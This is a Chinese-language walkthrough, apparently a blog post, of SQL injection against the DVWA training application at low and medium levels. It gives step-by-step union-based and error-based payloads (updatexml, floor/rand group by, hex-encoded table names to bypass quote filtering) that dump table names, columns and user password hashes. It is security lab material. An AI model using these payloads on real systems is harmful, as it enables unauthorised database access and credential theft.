Dvwa sql low 联合注入,报错注入

Dvwa sql low 联合注入,报错注入

\1. 判断注入点

输入1,数据正常显示,输入1',页面显示爆错,1附近多出现了一个逗号

\2. 判断注入类型

?id=1' and 1=1 # 正常显示数据,

?id=1' and 1=2 # 页面不显示数据,也不会报错

判断 low级别的注入是字符型

\3. 判断字段数

? Id=1' order by 3 #

?id=1' order by 2 # 页面显示正常

\4. 找出注入点

Payload :

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+union+select+1%2C2%23&Submit=Submit#

\5. 爆出表名

Payload:

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

\6. 爆出字段名

Payload:

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#

\7. 爆出敏感数据

Payload:

-1' union select 1,group_concat(user,password) from users#

Dvwa medium

\1. 判断注入点

抓到提交的包,上传到repeater

输入单引号,页面出现爆错,

\2. 判断注入类型

? Id=1 and 1=1 页面显示正常

? Id=1 and 1=2 页面无显示

判断是数字型

\3. 判断注入字段数

?id =1 order by 3 #

\4. 爆出库名

Payload: id=-1 union select database(),version()

\5. 爆出表名

Payload:

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

\6. 爆出列名

这里发现单引号出现过滤,我们尝试16进制编码来进行绕过

Payload:

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273

\7. 爆出数据

Payload:

id=-1 union select 1,group_concat(user,password)from users&Submit=Submit

Dvwa low medumn

\1. 判断注入点,

输入单引号,发现页面报错,可进行报错注入

Payload:

id=-1 and updatexml(1,concat(0x7e,database()),1)

\2. 爆出表名

Payload:

id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

\3. 爆出列名

Payload:

id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),1)&Submit=Submit

发现只能爆出一些列名

尝试使用limit函数进行测试

Payload:

id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1)),1)

发现还是只能出现一点点数据,调整limit的数量还是只能一点点

Dvwa low

尝试使用floor函数和group by 进行报错

原理:通过 floor 报错的方法来爆数据的本质是 group by 语句的报错。group by 语句报错的原因

是 floor(random(0)*2)的不确定性,即可能为 0 也可能为 1

group by key 执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,

如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果

该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算

rand 值)如果此时临时表只有 key 为 1 的行不存在 key 为 0 的行,那么数据库要将该条记录插入临

时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为 1,就

会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值

实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行

时是不报错的。

Payload:

1' union select count(*),concat(floor(rand(0)*2),database())fannn from information_schema.tables group by fannn #

参考链接:SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园 (cnblogs.com)

om information_schema.tables group by fannn #

外链图片转存中...(img-WpMKvPvf-1710557932658)

参考链接:SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园 (cnblogs.com)

相关推荐
ShoreKiten11 小时前
ctfshowweb351-360
web安全·ssrf
白帽子凯哥哥15 小时前
湖南网安基地:国家级实战化网安人才培养的“黄埔军校”
web安全·信息安全·零基础·渗透测试·安全服务
迎仔15 小时前
10-网络安全监控与事件响应:数字世界的智能监控与应急系统
网络·安全·web安全
kali-Myon19 小时前
2025春秋杯网络安全联赛冬季赛-day2
python·安全·web安全·ai·php·pwn·ctf
独行soc19 小时前
2026年渗透测试面试题总结-19(题目+回答)
android·网络·安全·web安全·渗透测试·安全狮
kali-Myon20 小时前
2025春秋杯网络安全联赛冬季赛-day1
java·sql·安全·web安全·ai·php·web
kali-Myon20 小时前
2025春秋杯网络安全联赛冬季赛-day3
python·安全·web安全·ai·php·web·ctf
迎仔21 小时前
05-AI与网络安全
人工智能·安全·web安全
临水逸1 天前
一次路径穿越漏洞引发的NAS安全危机:飞牛fnOS漏洞深度剖析与用户自救指南
网络·安全·web安全
JMchen1231 天前
Android网络安全实战:从HTTPS到双向认证
android·经验分享·网络协议·安全·web安全·https·kotlin